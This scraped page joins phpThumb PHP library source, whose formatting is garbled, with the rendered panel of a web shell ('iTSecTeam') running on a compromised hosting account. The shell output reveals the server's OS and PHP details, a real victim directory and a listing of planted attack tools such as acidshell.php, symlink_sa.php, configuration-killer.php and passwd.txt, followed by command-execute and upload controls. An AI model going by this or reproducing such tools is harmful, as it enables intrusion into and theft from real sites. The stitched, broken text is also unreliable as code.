$DebugOutput[] = 'ini_get(max_execution_time)    = '.$this->phpThumbDebugVarDump(@ini_get('max_execution_time'));
        
$DebugOutput[] = 'ini_get(memory_limit)          = '.$this->phpThumbDebugVarDump(@ini_get('memory_limit'));
        
$DebugOutput[] = 'get_cfg_var(memory_limit)      = '.$this->phpThumbDebugVarDump(@get_cfg_var('memory_limit'));
        
$DebugOutput[] = 'memory_get_usage()             = '.(function_exists('memory_get_usage') ? $this->phpThumbDebugVarDump(@memory_get_usage()) : 'n/a');
        
$DebugOutput[] = '';

        
$DebugOutput[] = '$this->config_prefer_imagemagick            = '.$this->phpThumbDebugVarDump($this->config_prefer_imagemagick);
        
$DebugOutput[] = '$this->config_imagemagick_path              = '.$this->phpThumbDebugVarDump($this->config_imagemagick_path);
        
$DebugOutput[] = '$this->ImageMagickWhichConvert()            = '.$this->ImageMagickWhichConvert();
        
$IMpathUsed = ($this->config_imagemagick_path $this->config_imagemagick_path $this->ImageMagickWhichConvert());
        
$DebugOutput[] = '[actual ImageMagick path used]              = '.$this->phpThumbDebugVarDump($IMpathUsed);
        
$DebugOutput[] = 'file_exists([actual ImageMagick path used]) = '.$this->phpThumbDebugVarDump(@file_exists($IMpathUsed));
        
$DebugOutput[] = 'ImageMagickVersion(false)                   = '.$this->ImageMagickVersion(false);
        
$DebugOutput[] = 'ImageMagickVersion(true)                    = '.$this->ImageMagickVersion(true);
        
$DebugOutput[] = '';

        
$DebugOutput[] = '$this->config_cache_directory               = '.$this->phpThumbDebugVarDump($this->config_cache_directory);
        
$DebugOutput[] = '$this->config_cache_directory_depth         = '.$this->phpThumbDebugVarDump($this->config_cache_directory_depth);
        
$DebugOutput[] = '$this->config_cache_disable_warning         = '.$this->phpThumbDebugVarDump($this->config_cache_disable_warning);
        
$DebugOutput[] = '$this->config_cache_maxage                  = '.$this->phpThumbDebugVarDump($this->config_cache_maxage);
        
$DebugOutput[] = '$this->config_cache_maxsize                 = '.$this->phpThumbDebugVarDump($this->config_cache_maxsize);
        
$DebugOutput[] = '$this->config_cache_maxfiles                = '.$this->phpThumbDebugVarDump($this->config_cache_maxfiles);
        
$DebugOutput[] = '$this->config_cache_force_passthru          = '.$this->phpThumbDebugVarDump($this->config_cache_force_passthru);
        
$DebugOutput[] = '$this->cache_filename                       = '.$this->phpThumbDebugVarDump($this->cache_filename);
        
$DebugOutput[] = 'is_readable($this->config_cache_directory)  = '.$this->phpThumbDebugVarDump(@is_readable($this->config_cache_directory));
        
$DebugOutput[] = 'is_writable($this->config_cache_directory)  = '.$this->phpThumbDebugVarDump(@is_writable($this->config_cache_directory));
        
$DebugOutput[] = 'is_readable($this->cache_filename)          = '.$this->phpThumbDebugVarDump(@is_readable($this->cache_filename));
        
$DebugOutput[] = 'is_writable($this->cache_filename)          = '.(@file_exists($this->cache_filename) ? $this->phpThumbDebugVarDump(@is_writable($this->cache_filename)) : 'n/a');
        
$DebugOutput[] = '';

        foreach (
$ConfigVariableNames as $varname) {
            
$varname 'config_'.$varname;
            
$value $this->$varname;
            
$DebugOutput[] = '$this->'.str_pad($varname37' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
        }
        
$DebugOutput[] = '';
        foreach (
$OtherVariableNames as $varname) {
            
$value $this->$varname;
            
$DebugOutput[] = '$this->'.str_pad($varname27' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
        }
        
$DebugOutput[] = 'strlen($this->rawImageData)        = '.strlen(@$this->rawImageData);
        
$DebugOutput[] = 'strlen($this->exif_thumbnail_data) = '.strlen(@$this->exif_thumbnail_data);
        
$DebugOutput[] = '';

        foreach (
$ParameterNames as $varname) {
            
$value $this->$varname;
            
$DebugOutput[] = '$this->'.str_pad($varname4' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
        }
        
$DebugOutput[] = '';

        foreach (
$FunctionsExistance as $functionname) {
            
$DebugOutput[] = 'builtin_function_exists('.$functionname.')'.str_repeat(' '23 strlen($functionname)).' = '.$this->phpThumbDebugVarDump(phpthumb_functions::builtin_function_exists($functionname));
        }
        
$DebugOutput[] = '';

        
$gd_info gd_info();
        foreach (
$gd_info as $key => $value) {
            
$DebugOutput[] = 'gd_info.'.str_pad($key34' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
        }
        
$DebugOutput[] = '';

        
$exif_info phpthumb_functions::exif_info();
        foreach (
$exif_info as $key => $value) {
            
$DebugOutput[] = 'exif_info.'.str_pad($key26' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
        }
        
$DebugOutput[] = '';

        if (
$ApacheLookupURIarray phpthumb_functions::ApacheLookupURIarray(dirname(@$_SERVER['PHP_SELF']))) {
            foreach (
$ApacheLookupURIarray as $key => $value) {
                
$DebugOutput[] = 'ApacheLookupURIarray.'.str_pad($key15' 'STR_PAD_RIGHT).' = '.$this->phpThumbDebugVarDump($value);
            }
        } else {
                
$DebugOutput[] = 'ApacheLookupURIarray() -- FAILED';
        }
        
$DebugOutput[] = '';

        if (isset(
$_GET) && is_array($_GET)) {
            foreach (
$_GET as $key => $value) {
                
$DebugOutput[] = '$_GET['.$key.']'.str_repeat(' '30 strlen($key)).'= '.$this->phpThumbDebugVarDump($value);
            }
        }
        if (isset(
$_POST) && is_array($_POST)) {
            foreach (
$_POST as $key => $value) {
                
$DebugOutput[] = '$_POST['.$key.']'.str_repeat(' '29 strlen($key)).'= '.$this->phpThumbDebugVarDump($value);
            }
        }
        
$DebugOutput[] = '';

        
$DebugOutput[] = '$this->debugmessages:';
        foreach (
$this->debugmessages as $errorstring) {
            
$DebugOutput[] = '  * '.$errorstring;
        }
        
$DebugOutput[] = '';

        
$DebugOutput[] = '$this->debugtiming:';
        foreach (
$this->debugtiming as $timestamp => $timingstring) {
            
$DebugOutput[] = '  * '.$timestamp.' '.$timingstring;
        }
        
$DebugOutput[] = '  * Total processing time: '.number_format(max(array_keys($this->debugtiming)) - min(array_keys($this->debugtiming)), 6);

        
$this->= (isset($_GET['f']) ? $_GET['f'] : $this->f); // debug modes 0-2 don't recognize text mode otherwise
        
return $this->ErrorImage(implode("\n"$DebugOutput), 700500true);
    }

    function 
FatalError($text) {
        if (
is_null($this->fatalerror)) {
            
$this->fatalerror $text;
        }
        return 
true;
    }

    function 
ErrorImage($text$width=0$height=0$forcedisplay=false) {
        
$width  = ($width  $width  $this->config_error_image_width);
        
$height = ($height $height $this->config_error_image_height);

        
$text 'phpThumb() v'.$this->phpthumb_version."\n\n".$text;
        if (
$this->config_disable_debug) {
            
$text 'Error messages disabled';
        }

        
$this->FatalError($text);
        
$this->DebugMessage($text__FILE____LINE__);
        if (
$this->phpThumbDebug && !$forcedisplay) {
            return 
false;
        }
        if (!
$this->config_error_die_on_error && !$forcedisplay) {
            return 
false;
        }
        if (
$this->config_error_silent_die_on_error) {
            exit;
        }
        if (
$this->err || $this->config_error_message_image_default) {
            
// Show generic custom error image instead of error message
            // for use on production sites where you don't want debug messages
            
if (($this->err == 'showerror') || $this->phpThumbDebug) {
                
// fall through and actually show error message even if default error image is set
            
} else {
                
header('Location: '.($this->err $this->err $this->config_error_message_image_default));
                exit;
            }
        }
        
$this->setOutputFormat();
        if (!
$this->thumbnailFormat || (phpthumb_functions::gd_version() < 1)) {
            
$this->thumbnailFormat 'text';
        }
        if (@
$this->thumbnailFormat == 'text') {
            
// bypass all GD functions and output text error message
            
if (!headers_sent()) {
                
header('Content-type: text/plain');
                echo 
$text;
            } else {
                echo 
'<pre>'.htmlspecialchars($text).'</pre>';
            }
            exit;
        }

        
$FontWidth  ImageFontWidth($this->config_error_fontsize);
        
$FontHeight ImageFontHeight($this->config_error_fontsize);

        
$LinesOfText explode("\n", @wordwrap($textfloor($width $FontWidth), "\n"true));
        
$height max($heightcount($LinesOfText) * $FontHeight);

        
$headers_file '';
        
$headers_line '';
        if (
phpthumb_functions::version_compare_replacement(phpversion(), '4.3.0''>=') && headers_sent($headers_file$headers_line)) {

            echo 
"\n".'**Headers already sent in file "'.$headers_file.'" on line "'.$headers_line.'", dumping error message as text:**<br><pre>'."\n\n".$text."\n".'</pre>';

        } elseif (
headers_sent()) {

            echo 
"\n".'**Headers already sent, dumping error message as text:**<br><pre>'."\n\n".$text."\n".'</pre>';

        } elseif (
$gdimg_error ImageCreate($width$height)) {

            
$background_color phpthumb_functions::ImageHexColorAllocate($gdimg_error$this->config_error_bgcolor,   true);
            
$text_color       phpthumb_functions::ImageHexColorAllocate($gdimg_error$this->config_error_textcolortrue);
            
ImageFilledRectangle($gdimg_error00$width$height$background_color);
            
$lineYoffset 0;
            foreach (
$LinesOfText as $line) {
                
ImageString($gdimg_error$this->config_error_fontsize2$lineYoffset$line$text_color);
                
$lineYoffset += $FontHeight;
            }
            if (
function_exists('ImageTypes')) {
                
$imagetypes ImageTypes();
                if (
$imagetypes IMG_PNG) {
                    
header('Content-Type: image/png');
                    
ImagePNG($gdimg_error);
                } elseif (
$imagetypes IMG_GIF) {
                    
header('Content-Type: image/gif');
                    
ImageGIF($gdimg_error);
                } elseif (
$imagetypes IMG_JPG) {
                    
header('Content-Type: image/jpeg');
                    
ImageJPEG($gdimg_error);
                } elseif (
$imagetypes IMG_WBMP) {
                    
header('Content-Type: image/vnd.wap.wbmp');
                    
ImageWBMP($gdimg_error);
                }
            }
            
ImageDestroy($gdimg_error);

        }
        if (!
headers_sent()) {
            echo 
"\n".'**Failed to send graphical error image, dumping error message as text:**<br>'."\n\n".$text;
        }
        exit;
        return 
true;
    }

    function 
ImageCreateFromStringReplacement(&$RawImageData$DieOnErrors=false) {
        
// there are serious bugs in the non-bundled versions of GD which may cause
        // PHP to segfault when calling ImageCreateFromString() - avoid if at all possible
        // when not using a bundled version of GD2
        
if (!phpthumb_functions::gd_version()) {
            if (
$DieOnErrors) {
                if (!
headers_sent()) {
                    
// base64-encoded error image in GIF format
                    
$ERROR_NOGD 'R0lGODlhIAAgALMAAAAAABQUFCQkJDY2NkZGRldXV2ZmZnJycoaGhpSUlKWlpbe3t8XFxdXV1eTk5P7+/iwAAAAAIAAgAAAE/vDJSau9WILtTAACUinDNijZtAHfCojS4W5H+qxD8xibIDE9h0OwWaRWDIljJSkUJYsN4bihMB8th3IToAKs1VtYM75cyV8sZ8vygtOE5yMKmGbO4jRdICQCjHdlZzwzNW4qZSQmKDaNjhUMBX4BBAlmMywFSRWEmAI6b5gAlhNxokGhooAIK5o/pi9vEw4Lfj4OLTAUpj6IabMtCwlSFw0DCKBoFqwAB04AjI54PyZ+yY3TD0ss2YcVmN/gvpcu4TOyFivWqYJlbAHPpOntvxNAACcmGHjZzAZqzSzcq5fNjxFmAFw9iFRunD1epU6tsIPmFCAJnWYE0FURk7wJDA0MTKpEzoWAAskiAAA7';
                    
header('Content-Type: image/gif');
                    echo 
base64_decode($ERROR_NOGD);
                } else {
                    echo 
'*** ERROR: No PHP-GD support available ***';
                }
                exit;
            } else {
                
$this->DebugMessage('ImageCreateFromStringReplacement() failed: gd_version says "'.phpthumb_functions::gd_version().'"'__FILE____LINE__);
                return 
false;
            }
        }
        if (
phpthumb_functions::gd_is_bundled()) {
            
$this->DebugMessage('ImageCreateFromStringReplacement() calling built-in ImageCreateFromString()'__FILE____LINE__);
            return @
ImageCreateFromString($RawImageData);
        }

        switch (
substr($RawImageData03)) {
            case 
'GIF':
                
$ICFSreplacementFunctionName 'ImageCreateFromGIF';
                break;
            case 
"\xFF\xD8\xFF":
                
$ICFSreplacementFunctionName 'ImageCreateFromJPEG';
                break;
            case 
"\x89".'PN':
                
$ICFSreplacementFunctionName 'ImageCreateFromPNG';
                break;
            default:
                
$this->DebugMessage('ImageCreateFromStringReplacement() failed: unknown fileformat signature "'.phpthumb_functions::HexCharDisplay(substr($RawImageData03)).'"'__FILE____LINE__);
                return 
false;
                break;
        }
        if (
$tempnam $this->phpThumb_tempnam()) {
            if (
$fp_tempnam = @fopen($tempnam'wb')) {
                
fwrite($fp_tempnam$RawImageData);
                
fclose($fp_tempnam);
                if ((
$ICFSreplacementFunctionName == 'ImageCreateFromGIF') && !function_exists($ICFSreplacementFunctionName)) {

                    
// Need to create from GIF file, but ImageCreateFromGIF does not exist
                    
ob_start();
                    if (!@include_once(
dirname(__FILE__).'/phpthumb.gif.php')) {
                        
$ErrorMessage 'Failed to include required file "'.dirname(__FILE__).'/phpthumb.gif.php" in '.__FILE__.' on line '.__LINE__;
                        
$this->DebugMessage($ErrorMessage__FILE____LINE__);
                    }
                    
ob_end_clean();
                    
// gif_loadFileToGDimageResource() cannot read from raw data, write to file first
                    
if ($tempfilename $this->phpThumb_tempnam()) {
                        if (
$fp_tempfile = @fopen($tempfilename'wb')) {
                            
fwrite($fp_tempfile$RawImageData);
                            
fclose($fp_tempfile);
                            
$gdimg_source gif_loadFileToGDimageResource($tempfilename);
                            
$this->DebugMessage('gif_loadFileToGDimageResource('.$tempfilename.') completed'__FILE____LINE__);
                            
$this->DebugMessage('deleting "'.$tempfilename.'"'__FILE____LINE__);
                            
unlink($tempfilename);
                            return 
$gdimg_source;
                            break;
                        } else {
                            
$ErrorMessage 'Failed to open tempfile in '.__FILE__.' on line '.__LINE__;
                            
$this->DebugMessage($ErrorMessage__FILE____LINE__);
                        }
                    } else {
                        
$ErrorMessage 'Failed to open generate tempfile name in '.__FILE__.' on line '.__LINE__;
                        
$this->DebugMessage($ErrorMessage__FILE____LINE__);
                    }

                } elseif (
function_exists($ICFSreplacementFunctionName) && ($gdimg_source = @$ICFSreplacementFunctionName($tempnam))) {

                    
// great
                    
$this->DebugMessage($ICFSreplacementFunctionName.'('.$tempnam.') succeeded'__FILE____LINE__);
                    
$this->DebugMessage('deleting "'.$tempnam.'"'__FILE____LINE__);
                    
unlink($tempnam);
                    return 
$gdimg_source;

                } else {

                    
// GD functions not available, or failed to create image
                    
$this->DebugMessage($ICFSreplacementFunctionName.'('.$tempnam.') '.(function_exists($ICFSreplacementFunctionName) ? 'failed' 'does not exist'), __FILE____LINE__);
                    if (isset(
$_GET['phpThumbDebug'])) {
                        
$this->phpThumbDebug();
                    }

                }
            } else {
                
$ErrorMessage 'Failed to fopen('.$tempnam.', "wb") in '.__FILE__.' on line '.__LINE__."\n".'You may need to set $PHPTHUMB_CONFIG[temp_directory] in phpThumb.config.php';
                if (
ini_get('safe_mode')) {
                    
$ErrorMessage 'ImageCreateFromStringReplacement() failed in '.__FILE__.' on line '.__LINE__.': cannot create temp file in SAFE_MODE';
                }
                
$this->DebugMessage($ErrorMessage__FILE____LINE__);
            }
            
$this->DebugMessage('deleting "'.$tempnam.'"'__FILE____LINE__);
            @
unlink($tempnam);
        } else {
            
$ErrorMessage 'Failed to generate phpThumb_tempnam() in '.__FILE__.' on line '.__LINE__."\n".'You may need to set $PHPTHUMB_CONFIG[temp_directory] in phpThumb.config.php';
            if (
ini_get('safe_mode')) {
                
$ErrorMessage 'ImageCreateFromStringReplacement() failed in '.__FILE__.' on line '.__LINE__.': cannot create temp file in SAFE_MODE';
            }
        }
        if (
$DieOnErrors && $ErrorMessage) {
            return 
$this->ErrorImage($ErrorMessage);
        }
        return 
false;
    }

    function 
ImageResizeFunction(&$dst_im, &$src_im$dstX$dstY$srcX$srcY$dstW$dstH$srcW$srcH) {
        
$this->DebugMessage('ImageResizeFunction($o, $s, '.$dstX.', '.$dstY.', '.$srcX.', '.$srcY.', '.$dstW.', '.$dstH.', '.$srcW.', '.$srcH.')'__FILE____LINE__);
        if ((
$dstW == $srcW) && ($dstH == $srcH)) {
            return 
ImageCopy($dst_im$src_im$dstX$dstY$srcX$srcY$srcW$srcH);
        }
        if (
phpthumb_functions::gd_version() >= 2.0) {
            if (
$this->config_disable_imagecopyresampled) {
                return 
phpthumb_functions::ImageCopyResampleBicubic($dst_im$src_im$dstX$dstY$srcX$srcY$dstW$dstH$srcW$srcH);
            }
            return 
ImageCopyResampled($dst_im$src_im$dstX$dstY$srcX$srcY$dstW$dstH$srcW$srcH);
        }
        return 
ImageCopyResized($dst_im$src_im$dstX$dstY$srcX$srcY$dstW$dstH$srcW$srcH);
    }

    function 
InitializeTempDirSetting() {
        
$this->config_temp_directory realpath($this->config_temp_directory $this->config_temp_directory : (getenv('TMPDIR') ? getenv('TMPDIR') : getenv('TMP')));
        return 
true;
    }

    function 
phpThumb_tempnam() {
        
$this->InitializeTempDirSetting();
        
$tempnam realpath(tempnam($this->config_temp_directory'pThumb'));
        
$this->DebugMessage('phpThumb_tempnam() returning "'.$tempnam.'"'__FILE____LINE__);
        return 
$tempnam;
    }

    function 
DebugMessage($message$file=''$line='') {
        
$this->debugmessages[] = $message.($file ' in file "'.(basename($file) ? basename($file) : $file).'"' '').($line ' on line '.$line '');
        return 
true;
    }

    function 
DebugTimingMessage($message$file=''$line=''$timestamp=0) {
        if (!
$timestamp) {
            
$timestamp array_sum(explode(' 'microtime()));
        }
        
$this->debugtiming[number_format($timestamp6'.''')] = ': '.$message.($file ' in file "'.(basename($file) ? basename($file) : $file).'"' '').($line ' on line '.$line '');
        return 
true;
    }

}

?>

Warning: filesize() [function.filesize]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: filectime() [function.filectime]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664

Warning: fileperms() [function.fileperms]: stat failed for /home/redpine/public_html/tmp//Mr.HiTman.txt in /home/redpine/public_html/tmp/Tosa.php on line 664
iTSecTeam
Operation System : Linux rs4.webd.pl 2.6.32-358.11.1.el6.x86_64 #1 SMP Wed Jun 12 03:34:52 UTC 2013 x86_64 | Php Version : 5.2.13 | Safe Mode : Off

Now Directory : /home/redpine/public_html/tmp/

symlink13/07/15755DLMoveCopyRenDel
sym13/07/12755DLMoveCopyRenDel
mr13/10/16755DLMoveCopyRenDel
perl13/07/15755DLMoveCopyRenDel
msd13/07/14755DLMoveCopyRenDel
hossein13/10/16755DLMoveCopyRenDel
install_51973efe3083713/05/18755DLMoveCopyRenDel
b4ck.php803 B13/07/16644EditDLMoveCopyRenDel
TeamPS.php62.15 KB13/07/14644EditDLMoveCopyRenDel
weeb.php74.8 KB13/08/09644EditDLMoveCopyRenDel
new.pl910 B13/07/21644EditDLMoveCopyRenDel
adm.php52.29 KB13/08/05644EditDLMoveCopyRenDel
idc.php187 B13/07/14644EditDLMoveCopyRenDel
cp.php29.37 KB13/07/16644EditDLMoveCopyRenDel
us.pl1.23 KB13/07/15644EditDLMoveCopyRenDel
symlink_sa.php26.67 KB13/07/12644EditDLMoveCopyRenDel
passwd.php1.33 KB13/07/12644EditDLMoveCopyRenDel
wss.php16.42 KB13/08/05644EditDLMoveCopyRenDel
Mr.HiTman.txt B70/01/010EditDLMoveCopyRenDel
domain.php2.17 KB13/07/12644EditDLMoveCopyRenDel
jic.php14.1 KB13/08/05644EditDLMoveCopyRenDel
php.ini24 B13/11/22644EditDLMoveCopyRenDel
shells-goes-here.txt2.88 KB13/11/22644EditDLMoveCopyRenDel
ro.pHp126.63 KB13/10/16644EditDLMoveCopyRenDel
acidshell.php184.29 KB13/07/30644EditDLMoveCopyRenDel
persia.php47.76 KB13/07/14644EditDLMoveCopyRenDel
sajjad.php1.59 KB13/08/05644EditDLMoveCopyRenDel
Saudi.php13.44 KB13/07/14644EditDLMoveCopyRenDel
webadmin.php68.83 KB13/07/14644EditDLMoveCopyRenDel
index.php5.47 KB13/08/06644EditDLMoveCopyRenDel
Tosa.php85.29 KB13/11/08644EditDLMoveCopyRenDel
Symlink4.php88.11 KB13/07/16644EditDLMoveCopyRenDel
.htaccess0 B13/11/22644EditDLMoveCopyRenDel
agha.ahmad.php1.35 KB13/08/06644EditDLMoveCopyRenDel
config.php1.48 KB13/07/12644EditDLMoveCopyRenDel
hossein.php1.35 KB13/10/16644EditDLMoveCopyRenDel
passwd.txt46.71 KB13/07/12644EditDLMoveCopyRenDel
index.html31 B13/05/18644EditDLMoveCopyRenDel
majid.html3.04 KB13/07/10644EditDLMoveCopyRenDel
sql.php36.62 KB13/11/09644EditDLMoveCopyRenDel
wic.php16.82 KB13/08/05644EditDLMoveCopyRenDel
storm.php711.52 KB13/07/16644EditDLMoveCopyRenDel
configuration-killer.php14.2 KB13/07/12644EditDLMoveCopyRenDel
shellfinder.php13.82 KB13/07/16644EditDLMoveCopyRenDel
hd.php149.68 KB13/10/16644EditDLMoveCopyRenDel
index.htm5.47 KB13/08/06644EditDLMoveCopyRenDel
config.pl5.63 KB13/07/12755EditDLMoveCopyRenDel
ss.php0 B13/11/22644EditDLMoveCopyRenDel
Directory : 7 -- File : 41

Command Execute :

Change Dir :

Edit File :

Create Dir :

Create File :

Upload :
Maximum Size : 32M

iTSecTeam.com
Coded by Amin Shokohi (Pejvak)